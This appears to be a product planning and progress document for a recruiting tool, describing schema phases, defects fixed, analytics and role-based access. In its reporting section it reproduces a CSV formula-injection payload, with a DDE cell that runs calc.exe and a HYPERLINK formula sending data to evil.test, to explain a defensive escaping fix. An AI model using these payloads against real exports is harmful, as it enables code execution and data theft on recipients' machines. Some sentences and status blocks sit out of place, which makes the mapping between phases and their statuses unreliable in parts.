Janady13/missionmatch / docs/superpowers/plans/2026-07-20-recruitmatch-program.md

1# recruitMATCH to production: the complete program 2 3> Companion to `2026-07-20-recruitmatch.md`. That plan covered phases 0 through 9 and delivered a 4> reporting surface. This document covers everything still required for recruitMATCH to be a tool a 5> recruiter works in all day, and for the product to be production ready. 6 7**Scope decision, 2026 07 20.** The original spec explicitly excluded an applicant tracking spine. That 8exclusion is now lifted. "recruitMATCH should be the actual tool it is supposed to be" cannot be 9satisfied without it: interviews, offers, placements, requisitions and recruiter activity have no tables, 10so no amount of frontend work can make them real. 11 12**What exists today.** recruitMATCH renders six stat tiles and five panels, has one nav item and one 13button, and issues zero mutations. The API has 45 mutating endpoints and recruitMATCH calls none of them. 14It is a report over work performed in screenMATCH and slateMATCH. 15 16**Definition of done for this program.** A recruiter logs in, creates a requisition against a client, 17sources and submits candidates, moves them through interview and offer, records a placement, logs their 18outreach, and sees KPIs computed from those events. Every number on every screen traces to a row a human 19created in the product. 20 21--- 22 23## Phase map 24 25| Phase | Name | Delivers | Schema | Status | 26|---|---|---|---|---| 27| 0 to 5 | recruitMATCH reporting | Dashboard, alerts, brain intents | none | DONE | 28| 6 | Org branding | White labeling, backend and shell | 0046 | DONE, Task 12 open | 29| 10 | Recruiting operations schema | clients, requisitions, applications, interviews, offers, placements, activities, tasks | 0047 to 0050 | DONE | 30| 11 | Client and contact management | Create and manage the companies recruited for | 0051 | DONE | 31| 12 | Requisition management | Job orders with owner, hiring manager, target fill, priority | 0052, 0053 | DONE | 32| 13 | Candidate pipeline | Submit to requisition, stage transitions, dispositions | 0054 | DONE | 33| 14 | Interviews, offers, placements | Close the funnel with real events | 0055 | DONE | 34| 15 | Recruiter activity | Calls, emails, outreach, notes, auto capture | 0056 | DONE | 35| 16 | Tasks, reminders, notifications | Per user work queue | 0057 | DONE | 36| 17 | Real analytics | Time to fill, fill rate, conversion, source effectiveness, aging | none | DONE | 37| 18 | Reporting and exports | Daily to quarterly, per recruiter, per client, CSV | none | DONE | 38| 19 | Administration | Recruiter management, permissions, configuration (Phase 22 folded in) | 0058 | DONE | 39| 20 | Interactivity sweep | Every panel a way in, no dead surfaces | none | DONE | 40| 21 | Production hardening | Config decisions, model card, deploy script | 0059 | DONE | 41 42Phases 11 through 19 each ship a usable slice. Phase 10 ships nothing a user sees and everything after it 43depends on it, so it is built first and proven with tests rather than screens. 44 45--- 46 47## How this document is used 48 49Each phase gets its own implementation plan with complete code, written when that phase starts, at 50`docs/superpowers/plans/YYYY-MM-DD-recruitmatch-phase-NN.md`. 51 52Writing step level code for eleven phases up front would be its own drift: decisions made in phase 13 53will change what phase 14 should look like, and a plan written now would be stale before it is read. What 54this document fixes is the thing that actually went wrong before, which is work being discovered mid 55build and narrated instead of tracked. Every phase below has a named deliverable and an acceptance test. 56Nothing gets built that is not on this list, and nothing on this list gets forgotten. 57 58--- 59 60## Phase 10: Recruiting operations schema 61 62The foundation. No user visible change. Everything after depends on it. 63 64**Tables**, all tenant scoped with `organization_id`, RLS ENABLE and FORCE, composite foreign keys 65leading with `organization_id`, and a composite index leading with `organization_id`. 66 67| Table | Purpose | 68|---|---| 69| `clients` | The companies the org recruits FOR. Distinct from `staffing_vendors`, which submit TO the org | 70| `client_contacts` | People at a client, including hiring managers | 71| `requisitions` | A job order. Owner, hiring manager, openings, priority, target fill date, status, optional link to a federal `requirements` row | 72| `applications` | The candidate to requisition junction. One row per pairing, carrying current stage | 73| `application_stage_events` | Append only stage transition history. This is what makes every duration metric recoverable | 74| `interviews` | Scheduled and completed interviews against an application | 75| `offers` | Extended, accepted, declined, rescinded, with amounts | 76| `placements` | A started assignment. Start date, end date, status | 77| `recruiter_activities` | Calls, emails, outreach, notes, attributed to a user and optionally to a candidate or requisition | 78| `tasks` | Per user work items with due dates | 79 80**Design rules, non negotiable** 81 821. **Store events, not computed metrics.** `application_stage_events` is append only. Every duration and 83 conversion metric in phase 17 is derived from it. A rollup column would make definitional changes 84 unrecoverable, and every KPI in this domain has a definitional fork in it. 852. **Two time to fill clocks.** Requisition opened to offer accepted, and opened to candidate started. 86 Both are derivable from events; neither is stored. 873. **`source_first_touch` immutable and `source_last_touch` mutable** on `candidates`. A single mutable 88 source column is the design flaw behind most unusable source reporting. 894. **Contract and permanent are separate revenue shapes.** Placement carries `employment_type`, and pay 90 and bill rates use `numeric`, never float. Percentages are never blended across the two. 915. **Nothing reads or references the `eeo` schema.** 926. **Clearance stays a self reported indicator.** No new table implies verification. 93 94**Acceptance** 95 96- `make build-test-gates` passes. 97- Migration up, down, up is clean. 98- An RLS integration test proves two orgs cannot see each other's clients, requisitions, applications, 99 interviews, offers, placements, activities or tasks. 100- A test proves `application_stage_events` rejects an UPDATE and a DELETE. 101 102--- 103 104## Phase 11: Client and contact management 105 106CRUD for clients and contacts, list and detail screens, gated on `requirement.write`. 107 108**Acceptance**: a recruiter creates a client, adds a hiring manager contact, and sees them listed. 109 110## Phase 12: Requisition management 111 112Create, edit, hold, close and reopen a requisition. Owner and hiring manager assignment, openings count, 113priority, target fill date. Optional link to a federal `requirements` row so a SAM derived need and a 114client job order coexist without either polluting the other. 115 116**Acceptance**: a recruiter opens a requisition against a client, assigns themselves, sets a target fill 117date, and it appears on the dashboard as an open role. 118 119**Status: COMPLETE.** Migrations 0052 and 0053. Delivered beyond the acceptance criterion: 120 121- A closed transition graph in `requisition_status.go`, all 36 ordered status pairs decided in one place, 122 20 legal and 16 refused, proved exhaustively rather than by inspection. 123- Exact hold arithmetic. `held_days int` from 0047 truncated every hold shorter than a day to zero, so 124 three ten hour holds recorded as 0 rather than 1.25 days, and the error was one directional so no 125 amount of data would have surfaced it. Replaced with an exact numeric second accumulator plus a paired 126 `held_since` bracket, both constrained by the database. 127- Three clocks per order: wall clock age, working days with hold time removed, and the hold total. 128 Ten thousand randomised transition walks confirm the adjusted age is never negative and never exceeds 129 the elapsed age. 130- An append only `requisition_events` trail written from the first transition, so Phase 17 has history to 131 report on rather than starting from whenever reporting was built. 132- Ownership as the lock, the same rule clients use, with the refusal naming the holder. 133 134### Defects found and fixed while building this phase 135 1361. **`held_days int` truncated short holds to zero** (0047). Corrected in 0052. 1372. **Twenty four composite foreign keys across the schema declared a bare `ON DELETE SET NULL`**, which 138 nulls every column in the key including `organization_id`. Because that column is NOT NULL, the 139 referential action aborts and the referenced row can never be deleted. Twelve of them reference 140 `users`, so a recruiter who had ever created a client, interview, offer, placement, task or evaluation 141 could not be removed, which is the whole of Phase 19's offboarding. Others blocked deleting an 142 opportunity, a slate and, through `ai_memory`, a candidate, which is the privacy erasure path. 143 Reproduced against the live schema, then repaired in 0053 with a column list on each. 1443. **`hiring_manager_id` was not constrained to the requisition's own client** (0047), so a job order at 145 one company could name a hiring manager at another. First symptom would have been a submittal emailed 146 to the wrong client. Fixed with a composite key carrying `client_id`. 1474. **Deleting a client left `hiring_manager_id` dangling.** Once `client_id` is nulled the composite key 148 contains a NULL and is no longer enforced, so the cascade never clears the manager. Fixed with a 149 trigger, after a CHECK constraint was tried and removed because it reintroduced the deletion failure 150 from defect 2. 1515. **The append only guard blocked the referential null out** on both `requisition_events` and the 152 existing `application_stage_events`, so deleting a user would still have failed after defect 2 was 153 fixed. The guard now permits exactly that one update and nothing else, and the actor's name is stored 154 at write time so history stays legible after the reference is gone. 1556. **`auditOwnership` hardcoded `EntityType: "client"`**, which would have filed every job order claim in 156 the audit trail as a client event. 157 158### Known, not fixed in this phase 159 160Deleting a user is still refused by `slates_organization_id_created_by_fkey` and any other constraint 161declared NO ACTION rather than SET NULL. That is a different class from defect 2: NO ACTION reads as a 162deliberate choice to retain the row, and changing it decides what happens to a departed recruiter's 163slates. That belongs to Phase 19 with the rest of offboarding, not to a requisition phase. 164 165## Phase 13: Candidate pipeline 166 167Submit a candidate to a requisition, move them through stages, disposition them with a reason. Stage 168vocabulary fixed in Go, every transition writing an `application_stage_events` row. A pipeline board per 169requisition. 170 171**Acceptance**: a candidate moves sourced to screened to submitted to interviewing, and the funnel on the 172 173**Status: COMPLETE.** Migration 0054. Delivered beyond the acceptance criterion: 174 175- A monotone funnel, proved rather than asserted. The count at each rung is "ever reached this rung or 176 beyond", tracked as a high water mark that never falls, so `count(furthest >= k)` is non increasing in 177 k by construction. Fifty thousand randomised populations confirm it, and a candidate rejected at 178 interview still counts as having reached interview. 179- A coded disposition vocabulary alongside the prose one, because a four fifths analysis under NYC Local 180 Law 144 or OFCCP groups rejections by reason and prose cannot be grouped. Employer reasons and 181 candidate reasons are separate sets and cannot be recorded as each other. A standing test asserts no 182 code names a protected attribute or a proxy for one. 183- Stage to stage conversion, computed in exact decimal, guaranteed inside [0,100] because the underlying 184 counts are monotone rather than because it is clamped. 185 186### Defects found and fixed while building this phase 187 188Four in migration 0048, every one reproduced against a live database before the fix was written. 189 1901. **`from_stage` was never checked against reality.** An event claiming `from_stage='offered'` was 191 applied to an application sitting at `sourced` and moved it straight to `placed`. Any stage was 192 reachable from any other by asserting a predecessor that never happened, and the history was fiction. 1932. **An out of order event was recorded but not applied.** The guard `NEW.occurred_at >= stage_changed_at` 194 silently matched zero rows, so the row read `placed` while the newest event read `screened`. History 195 and row disagreed permanently, and every event derived metric reported a different pipeline than the 196 board. Now refused outright, so either both move or neither does. 1973. **Stage was writable directly by the application role.** Verified: an UPDATE moved a candidate to 198 `placed` with zero events written. An audit trail that can be bypassed is not an audit trail. Stage is 199 now writable only through an event, enforced by a trigger, with legitimate non stage edits unaffected. 2004. **Nothing capped placements against openings.** A role with one seat could place any number of people. 201 Now counted under the same row lock as the write, so two simultaneous placements cannot both take the 202 last seat. 203 204A fifth conflict surfaced during testing: 0048 required free text prose on every disposition while 0054 205requires a code. Both cannot stand, because demanding two reasons produces "n/a" typed into every 206rejection, which is worse than an empty column because it looks like data. The prose requirement was 207replaced by the code requirement; prose stays optional. 208 209Two defects were mine, caught by verification rather than review: the opening event would have violated 210the table's own no self transition CHECK, and the down migration was not idempotent. 211dashboard reflects it without a schema change. 212 213## Phase 14: Interviews, offers, placements 214 215Schedule an interview, record its outcome, extend an offer, record acceptance or decline, record a start. 216These are the three entities whose absence the current dashboard names in its "not tracked yet" panel. 217 218**Acceptance**: the six untracked panels are replaced by real numbers, and the `notTracked` list in 219 220**Status: COMPLETE.** Migration 0055. Delivered beyond the acceptance criterion: 221 222- Exact money throughout. Margin, fee and percentage are decimal on values carried as text from Postgres 223 numeric, never through a float64, because a rate that lost precision would not reconcile with an 224 invoice. Two hundred thousand randomised rate pairs confirm gross is always bill minus pay, and the 225 percentage always lands inside [0,100] without clamping. 226- Contract and permanent revenue are never blended. A contract earns an hourly spread, a direct hire 227 earns a one time fee, and a figure that averaged them would describe neither. 228- A zero bill rate yields no percentage rather than 0.00, because a share of nothing is undefined and 229 rendering zero would be a different and false claim. 230- Guarantee tracking with an inclusive boundary: a 90 day guarantee from 1 January covers through 31 231 March. A completed assignment never breaches however short it ran, because ending early was the 232 client's decision and not a failure to deliver. 233- No projected revenue anywhere. Annualising an hourly rate assumes a full time full year assignment 234 nobody agreed to, and on a screen that number is indistinguishable from one that was contracted. 235 236### Defects found and fixed while building this phase 237 238Four in 0048, each reproduced against a live database before the fix. 239 2401. **Two accepted offers could exist on one application.** The existing unique index caps only the 241 extended status, so accepting twice was permitted, leaving two contradictory sets of agreed rates 242 with nothing to say which one is the revenue. 2432. **A placement could carry an offer belonging to a different application.** Reproduced: a placement on 244 one candidate referencing an offer extended to another, so the rates and the money came from a 245 different person. Same defect shape as the cross client hiring manager fixed in 0052. 2463. **A placement could exist while its application sat at sourced.** The pipeline and the revenue record 247 described different realities and nothing reconciled them. 2484. **A requisition with one opening could carry two live placements**, because the seat cap added in 0054 249 counts applications at stage placed and nothing required a placement to move the stage. 250 2513 and 4 are one defect seen from two sides, and both are closed by a single rule enforced in both 252directions: a live placement exists if and only if its application is at stage placed. With that 253biconditional held by the database there is exactly one answer to "is this person placed", and the seat 254cap covers placements transitively. 255 256Also added: an offer lifecycle guard, so a declined offer cannot later be accepted and re offering is a 257new offer that keeps both in the history; and a pricing constraint, so an extended offer must carry its 258terms rather than being recorded with nulls a margin calculation would read as zero. 259 260Two message defects were found by the live run rather than by the tests, and both hid a good message 261behind a useless one: the live placement guard's instruction was being replaced by "failed a database 262constraint" because the stage path did not know that trigger, and a duplicate live offer reported "that 263offer is already in use". 264`derive.go` shrinks to whatever genuinely remains. 265 266## Phase 15: Recruiter activity 267 268Log calls, emails, outreach and notes against a candidate, contact or requisition. Auto capture what the 269system already knows: a screen performed, a slate decision made, a submission sent. 270 271**Acceptance**: the activity trend chart from Tom's mockup renders from real events, and recruiter 272 273**Status: COMPLETE.** Migration 0056. Delivered beyond the acceptance criterion: 274 275- Effort and connects are reported separately. A hundred dials with two conversations and a hundred 276 conversations are different days, and a single activity count reports them identically, which is how 277 activity metrics come to be gamed and then distrusted. Only `connected` and `replied` count as reaching 278 a person, pinned by test so widening that set cannot silently inflate every rate ever published. 279- Connect rate is exact decimal and ABSENT rather than "0.00" when nothing was logged, because a zero 280 rate on no attempts claims a failure that did not happen. 281- Captured effort is never pooled with logged effort in any number. 282 283### Defects found and fixed while building this phase 284 285Four in 0049, each reproduced against a live database first. 286 2871. **An activity could be dated in the future.** A recruiter could pre log a month of calls and today's 288 productivity number would count work that had not happened. Backdating stays allowed, because entering 289 yesterday's calls this morning is how recruiters work; only forward dating is refused. 2902. **A human could set `auto_captured` on their own row.** That column exists for exactly one reason, to 291 keep captured and self reported effort separable, and a flag the subject sets about themselves is not 292 a flag. The trigger now DISCARDS whatever was supplied and sets it from a transaction local flag only 293 the capture paths raise, and `LogActivityInput` has no such field, so the API cannot express the claim. 2943. **A logged activity could be rewritten or deleted.** Verified: kind changed from call to meeting, 295 occurred_at moved five days back, then the row deleted outright. Only the note may now be corrected; 296 everything a metric is computed from is fixed at insert, and DELETE is revoked from the app role. 2974. **Deleting a recruiter deleted their entire activity history**, because the actor cascaded. Offboarding 298 erased the record of work done, and it disagreed with `application_stage_events`, which nulls the actor 299 and keeps the row. 300 301Two defects were mine, both caught by verification rather than review. `current_setting` with missing_ok 302returns NULL when unset, and `NULL = '1'` is NULL rather than false, so every human logged activity failed 303to insert. And my first lower bound on `occurred_at` was the organization's creation date, which would 304have refused every backdated entry during a new client's first week; it is now a loose absolute floor that 305catches a mistyped year and nothing else. 306scorecards show effort next to outcome. 307 308## Phase 16: Tasks, reminders, notifications 309 310Per user tasks with due dates, plus reminders derived from state: an aging requisition, a stale 311application, an interview tomorrow, an offer deadline. Extends the existing `alerts` engine rather than 312replacing it. 313 314**Acceptance**: the Upcoming Tasks panel from the mockup is real, and a recruiter has a work queue. 315 316**Status: COMPLETE.** Migration 0057. Delivered beyond the acceptance criterion: 317 318- A working day that means something. The organization now carries an IANA timezone, validated against 319 the catalog, and every day bucket is computed in it. This was fixed here rather than in Phase 17 320 because it is the same defect either way and it is cheaper to fix once. 321- Buckets are computed on whole days, never on instants. A task due at 9am and one due at 5pm are both 322 due today, and computing that on instants would put the morning one in the past by lunchtime. 323- The queue header counts are derived from the rows returned, not from a second aggregate query. Two 324 queries against a moving table can disagree, and a header that contradicts the list below it is worse 325 than no header. 326- Ordering is total, with an id tiebreak, so paging cannot show one task twice and skip another. 327 328### Defects found and fixed while building this phase 329 330Four, each reproduced against a live database first. 331 3321. **Reopening a completed task was impossible.** `tasks_completed_chk` requires `completed_at` to be 333 NULL unless the status is done, and nothing cleared it, so reopening failed with a constraint 334 violation on a row the user had every right to reopen. The database now maintains the column from the 335 status, so it works from any path and the constraint cannot be violated by a correct change. 3362. **There was no timezone anywhere in the schema.** Reproduced: an 8pm Eastern log is UTC 2026-07-21, 337 so a UTC day bucket calls today's evening work tomorrow's. Every daily number for a US firm would 338 have been wrong, on this queue and on every Phase 17 rollup. 3393. **Paging was not deterministic.** Tasks sharing a due date had no tiebreak. 3404. **Deleting a recruiter deleted their open tasks.** Unlike an activity, a task is work that still 341 needs doing, so cascading destroys the work rather than the record of it. Tasks now survive 342 unassigned and surface in their own queue until someone picks them up. 343 344Two defects were mine, both caught by the tests rather than by review. Migration 0046 narrowed the app 345role's write access on `organizations` to a named column list, so the new column was readable but not 346writable and every timezone change returned "permission denied"; the same applied to `updated_at`, which 347the write stamps. And a shell double quote expanded `$1` inside a perl replacement, silently deleting the 348`DROP COLUMN` from the down migration. 349 350## Phase 17: Real analytics 351 352Now that events exist, compute the KPIs properly. Both time to fill clocks labelled separately. Fill rate 353cohort based, not this month's fills over this month's orders. Conversion ratios per stage entry cohort. 354Aging thresholds derived from the org's own trailing distribution rather than fixed at 30, 60 and 90. 355Source effectiveness on first touch with last touch available. 356 357Every metric ships with its definition visible in the UI, because in this domain a number without its 358start event, end event and exclusions is not defensible. 359 360**Acceptance**: every KPI on the dashboard traces to events, and a tooltip states how it is computed. 361 362**Status: COMPLETE.** No migration; every figure derives from rows earlier phases already record. 363 364The phase is defined by one defect it refuses to commit: **survivorship bias in time to fill**. 365 366Averaging the days it took to fill only the requisitions that FILLED systematically understates the 367truth, because the slow ones are still open and therefore excluded. The bias grows with the number of 368open orders, so the worse a desk is doing the better the naive number looks, which is the exact opposite 369of what a metric should do. 370 371Still open orders are kept in the calculation as right censored observations, each known to have taken AT 372LEAST as long as it has been open so far, and the median comes from a Kaplan Meier estimator. Both 373figures are shown side by side and labelled, so when they differ the gap IS the bias rather than 374something hidden. When fewer than half the cohort has filled the corrected median is reported as NOT 375REACHED, because a median does not exist yet and inventing one would be a fabrication. 376 377Other decisions that are choices rather than defaults, each stated on the screen: 378 379- The cohort is every requisition OPENED in the window, never every one filled. Cohorting on the fill 380 date reintroduces the same bias through the window instead of through the average. 381- Two time to fill clocks, opened to accepted offer and opened to actual start, plus a third with hold 382 time removed. The industry does not agree on which is correct, so reporting one silently is how two 383 tools describe the same desk differently. 384- Fill rate is reported with BOTH denominators. A cancelled order is a role the client pulled; counting 385 it against the recruiter understates them, excluding it flatters them. 386- Rates over fewer than five resolved orders are suppressed. Counts are always shown; only the ratio is 387 withheld, because one filled requisition is a hundred percent fill rate and means nothing. 388- Aging is a distribution, never an average, because an average age hides the tail and the tail is the 389 problem. 390- Source effectiveness is attributed on FIRST touch. Attributing a placement to the most recent contact 391 is how every channel eventually looks like a referral. 392- No projected or annualised revenue anywhere. 393 394### Defects found while building this phase 395 396All three were in my own work, and all three were caught by verification rather than review. 397 3981. **A test asserting a false mathematical law.** It claimed the Kaplan Meier median never falls below 399 the naive one. That is false whenever censoring is concentrated early: the risk set shrinks, later 400 events drop survival further, and the median can come out lower. The counterexample is now a test in 401 its own right so nobody later "fixes" the estimator to satisfy a law that does not hold. 4022. **A test asserting the wrong median convention.** With no censoring and an even cohort, Kaplan Meier 403 returns the lower central order statistic while the arithmetic median averages the two central 404 values. Both are standard; the test had encoded the wrong one. 4053. **An infinite refetch loop on the analytics screen.** The window start was computed from `Date.now()` 406 on every render, so the query key changed every render and the page sat on "Computing" forever while 407 the API answered correctly every time. Only looking at the rendered page found it. 408 409## Phase 18: Reporting and exports 410 411Daily, weekly, monthly, quarterly, executive, per recruiter and per client reports. CSV export reusing 412the audited export path that slateMATCH already uses, so bulk egress stays logged. 413 414## Phase 19: Administration 415 416Recruiter management, permission assignment within the existing five role matrix, and per org dashboard 417configuration. 418 419## Phase 20: Interactivity sweep 420 421Every panel becomes a way in. Top roles link to the requisition. The review queue opens pending members 422with approve and reject inline. Alerts are actioned. Recommendations are decided. No dead surfaces, and 423no button without a handler, which is a defect the existing Command Center and Candidate Evaluation 424screens already carry. 425 426**Acceptance**: a recruiter can start from the dashboard and reach every action without typing a URL. 427 428**Status: COMPLETE.** No migration. 429 430Every screen was crawled while signed in and checked for the things that make a surface dead: a blank 431render, a stuck loading state, an unlabelled button, a link to nowhere, a failing API call behind a 432panel, and horizontal overflow. Nineteen routes, including one deliberately invalid. 433 434**Result: no dead surfaces.** Two flags the crawler raised were false positives from its own regex, and 435are recorded here so the next person does not chase them: "Building Cleaning Workers" on the 436requirements screen matched a loading pattern, and the phrase "could not reconcile" in the Settings copy 437matched an error pattern. 438 439### Defects found 440 4411. **A mistyped URL rendered a blank page.** The router matched the shell, no child route matched, and 442 the outlet drew nothing. A blank screen inside a working application reads as a crash rather than a 443 wrong address. There is now a not found screen that says which it is and offers a way back. 4442. **`last_login_at` was never written, and also never returned.** A two part defect: the column and its 445 generated query have existed since the foundation migration with no caller, and `UserSummary` did not 446 carry the field either. The People screen showed "never signed in" beside the owner reading it. 447 Fixing only the write would have left the screen unchanged and looked like the fix had failed. 4483. **Three endpoints named no capability**: opportunities, awards and wages relied entirely on being 449 mounted inside the authenticated group. They now state the authority they require, so moving a route 450 to a different group later fails closed rather than silently opening it. 451 452### Corrected from the backlog 453 454The backlog claimed `/metrics` was public. It is not: nginx proxies only `/api/`, the route is mounted at 455the router root, and `/api/metrics` is a 404. Verified from the public internet before writing anything. 456 457**Status: COMPLETE.** Migration 0058. Phase 22 is folded in here: the access tier work and the 458administration work were the same work, and splitting them would have meant building the People screen 459twice. 460 461### What was already right, and what was not 462 463The permission model was already complete and correct: five ranked roles, nineteen capabilities, six 464correctly gated endpoints, and sound separation of duties. Nothing needed fixing there. What did not 465exist was any way to see or change it, and the hierarchy had a gap. 466 467**The manager tier.** The hierarchy jumped from recruiter straight to admin, and admin carries 468`privacy.erase`, `audit.read`, `compliance.write` and `user.invite`. A recruiting team lead needs none of 469those; they need to move work between people. The only way to grant that was to make them an admin, 470which also handed them PII deletion and account management. That is how over permissioning happens in 471practice: not through a bad decision, but because the smallest role that can do the job is far larger 472than the job. 473 474`manager` inserts at rank 3, moving admin to 4 and owner to 5. Ranks are compared and never stored, so no 475row was rewritten. Manager holds everything a recruiter does plus exactly two things, `desk.reassign` and 476`audit.read`, and a test asserts it can reach none of the admin authority. 477 478`canOverride` in recruiting now gates on `desk.reassign` rather than on the admin role, which is what 479makes the tier mean something rather than being a label. 480 481**Capabilities travel with the session.** The interface gated on role name comparisons, which duplicates 482the matrix in TypeScript where it drifts. `GET /auth/session` now returns the caller's resolved 483capability list, computed from the same matrix the server enforces. It decides what is OFFERED, never 484what is allowed; every endpoint keeps its own gate and the client fails closed. 485 486**The People screen** shows role, status, MFA state and last sign in, and offers invite, role change, 487enable, disable and MFA reset, each only where the actor outranks the target. Three rules that look like 488bugs unless stated are stated on the screen: you cannot change your own role, you can only grant a role 489below your own so an admin cannot create another admin, and owner cannot be granted or removed here at 490all. 491 492### Defects found while building this phase 493 4941. **`SetTimeZone` was gated only at the HTTP route, not in the service.** Every other privileged method 495 guards itself; this one relied entirely on the routing layer, so a CLI, a job, or a future handler 496 would have faced no check. Found because the integration test called the service rather than the 497 endpoint, which is exactly what such a caller would do. 4982. **Migration 0058 was incomplete.** `user_invites` carries its own copy of the role vocabulary, so 499 widening only `users.role` left inviting a manager failing with a 500. Found by trying it against the 500 live API, not by reading the schema: the role reached the invite row before it ever reached a user 501 row. Both constraints now change together and roll back together. 5023. **The People screen offered "Enable" on an invited account**, which would have activated a login 503 nobody had claimed and skipped the acceptance step that sets their password and second factor. Found 504 by looking at the rendered screen. 505 506A property worth recording, now asserted by test: **nothing outranks owner**, so an owner can never be 507demoted or disabled through the API by anyone. The organization cannot be locked out of itself. 508 509**Status: COMPLETE.** No migration; reporting derives from rows earlier phases record. 510 511### The security defect this phase found and fixed 512 513**CSV formula injection, in code that already shipped.** `encoding/csv` implements RFC 4180 correctly, 514quoting fields containing commas, quotes or newlines. It does nothing about formula injection, and 515nothing in this codebase did either. Reproduced against the existing slate export before any of this was 516written: 517 518 Rank,Candidate,Reviewer Note 519 1,=cmd|'/c calc.exe'!A1,"=HYPERLINK(""http://evil.test?d=""&A1,""Click"")" 520 521Both cells execute when the file is opened. The strings are attacker reachable: a candidate name is 522parsed from a resume and a reviewer note is typed by a user, so the exploit path is the recruiting firm 523exporting a slate, emailing it, and the CUSTOMER's machine running it. 524 525Fixed in a shared `internal/platform/csvsafe` package used by both the new exports and the slate export, 526so the two cannot drift on what counts as dangerous. The subtlety, and the part most implementations get 527wrong, is that `-` also begins every negative number: escaping it unconditionally corrupts every negative 528rate, margin and variance in the file. A value that is a plain number passes through untouched, so 529`-5.50` stays `-5.50` while `-5+5` does not. 530 531Every export also writes an audit row recording who exported what, how many rows and how many bytes. An 532export is the moment tenant data leaves the system, which is the event an incident review asks about and 533the one nothing else recorded. 534 535### The domain decision that matters most 536 537**Federal fiscal quarters.** This product serves government contracting, where the fiscal year begins on 5381 October and is named for the calendar year it ENDS in, so October 2025 falls in FY2026 Q1. A report 539labelled Q1 that means January through March describes a different three months than the one a federal 540customer is being asked about. Offering only calendar quarters would have been silently wrong for every 541user of this product, so both grains are offered and labelled, and the screen explains the difference. 542 543Other decisions, each stated rather than assumed: 544 545- Every grain buckets in the ORGANIZATION's timezone, using the function migration 0057 added. Bucketing 546 on raw UTC puts evening work in the wrong day, the wrong week and, twice a year, the wrong month. 547- Weeks are ISO and begin on Monday, said out loud because a report that silently starts weeks on Sunday 548 cannot be reconciled with one that does not. 549- Each column is counted on the period its OWN event falls in. A placement in March against an order 550 opened in January is March's placement; attributing it to January makes every month look empty until 551 the quarter it was sold in. 552- Export is gated on `export.run`, a capability distinct from reading the same data on screen, because 553 taking a copy out of the system is a different act from looking at it. 554 555## Phase 21: Production hardening and integrate 556 557Folds in Tasks 13 through 17 from the original plan: layout pass, deliberate production configuration, 558model card brought current, scripted frontend deploy, push and integrate. 559 560Adds from the codebase scan backlog, which becomes in scope for a production ready product: 561 5621. Capability gates on `/api/opportunities`, `/api/awards` and `/api/wages`, which currently have none. 5632. `/metrics` authenticated or firewalled; it is currently public and outside the rate limiter. 5643. `CommandCenter.tsx` error state, which today leaves a failed fetch showing its loading panel forever. 5654. `users.last_login_at`, which is never written. 566 567**Acceptance**: `MM_ENV=production` with FIPS enforced, every gate green, nothing on the backlog that is 568a security defect. 569 570--- 571 572## Phase 22: Access tiers and user administration 573 574**The gap is not the permission model. It is that nobody can see or change it.** 575 576Verified against the codebase before writing this phase. The backend already has five roles ranked 577`viewer 0 < member 1 < recruiter 2 < admin 3 < owner 4`, nineteen capabilities, a role to capability 578matrix, and `Has`, `AtLeast` and `OutRanks` helpers. Six endpoints already exist and are correctly 579gated: list users, invite, change role, change status, reset MFA, reissue recovery. The guardrails are 580already right: no self role change, the actor must outrank both the current and the target role, a 581downgrade revokes the target's sessions, and every change writes an audit row. 582 583There is **no screen for any of it**. Roles can only be set by editing the database directly. 584 585### 22a. Add the manager tier 586 587Today the hierarchy jumps from recruiter straight to admin, and admin carries `privacy.erase`, 588`audit.read`, `compliance.write` and `user.invite`. A recruiting team lead needs none of those. They need 589to see the whole team's book and move work between people. Making someone an admin so they can reassign 590an account hands them PII deletion, which is how over permissioning happens in practice. 591 592`manager` inserts at rank 3, moving admin to 4 and owner to 5. Ranks are compared, never stored, so only 593the rank map and the matrix change; no row is rewritten. A migration widens the `users_role_check` 594constraint, which currently names exactly five roles and would refuse the sixth. 595 596Manager holds everything recruiter holds, plus a new `CapDeskReassign` capability and `audit.read` 597scoped to their team. Manager does **not** hold `privacy.erase`, `user.invite`, `user.role.change`, 598`compliance.write` or `org.settings.write`. 599 600### 22b. Make the tier mean something in recruiting 601 602`canOverride` in `internal/modules/recruiting/ownership.go` currently requires `RoleAdmin`, so today only 603an admin or owner can reassign a client or a job order. That is the single most common thing a team lead 604does, and it is exactly what the new tier is for. It moves to `CapDeskReassign`, held by manager and 605above. Nothing else about the ownership lock changes. 606 607### 22c. Send capabilities to the browser 608 609The session principal exposes only `role`, so the frontend gates on string comparisons against role 610names. That duplicates the matrix in TypeScript, where it will drift, and it cannot express a capability 611that does not map cleanly onto one role. `GET /auth/session` gains the caller's resolved capability list, 612computed from the same matrix the server enforces, and the UI gates on capability. 613 614The server stays the only authority. A capability list in the browser decides what is *offered*, never 615what is *allowed*, and every endpoint keeps its own gate. 616 617### 22d. The People screen 618 619Settings gains a People tab: every member with role, status, last login and MFA state. Actions are 620invite, change role, enable, disable, reset MFA, reissue a recovery link. 621 622Each action is disabled with a stated reason rather than hidden, because a manager who cannot see that 623inviting exists will ask why the product has no invitations. Three reasons must be spelled out, since all 624three look like bugs otherwise: 625 626- You cannot change your own role. Prevents an accidental self demotion locking an org out. 627- You cannot grant a role you do not outrank, so an admin cannot create another admin. Only an owner can. 628- Owner cannot be granted or removed through the API at all, because nothing outranks owner. Owner 629 transfer is a migrator operation, deliberately. 630 631Invitation and recovery delivery stays manual at pilot: the endpoint returns a one time link and the 632inviter delivers it. There is no email transport in this phase, and the screen must say so rather than 633implying a mail was sent. 634 635### 22e. Capability aware navigation 636 637The tool switcher and the recruiting nav hide what the role cannot use, so a viewer is not shown a New 638job order button that returns 403. The empty states change too: a viewer seeing no clients is told they 639have read only access, not told to create the first one. 640 641### 22f. Tests 642 643- The full role by capability matrix, exhaustively, as a table test. Six roles times nineteen plus 644 capabilities, every cell asserted, so adding a role cannot silently widen an existing one. 645- Rank ordering after the insertion, including that manager outranks recruiter and admin outranks manager. 646- Privilege escalation refused: every role attempting to grant every role above itself. 647- Self role change and self disable refused. 648- A downgraded user's existing session stops working immediately. 649- Cross tenant: an admin in one org cannot see or change a user in another. 650- The capability list returned to the browser matches `Has()` for that role, for all six roles, so the 651 UI and the server cannot disagree. 652 653**Acceptance**: an owner invites a manager, that manager reassigns a job order between two recruiters and 654cannot reach privacy erasure or org settings, a recruiter sees neither the People tab nor the reassign 655control, a viewer can read and write nothing, and every one of those refusals is enforced by the server 656and merely reflected by the interface. 657 658--- 659 660## Explicitly out of scope 661 662- Per tenant database routing. Unmerged on `per-tenant-routing`, 204 commits behind, its own project. 663- PANTHEON and ORACLE 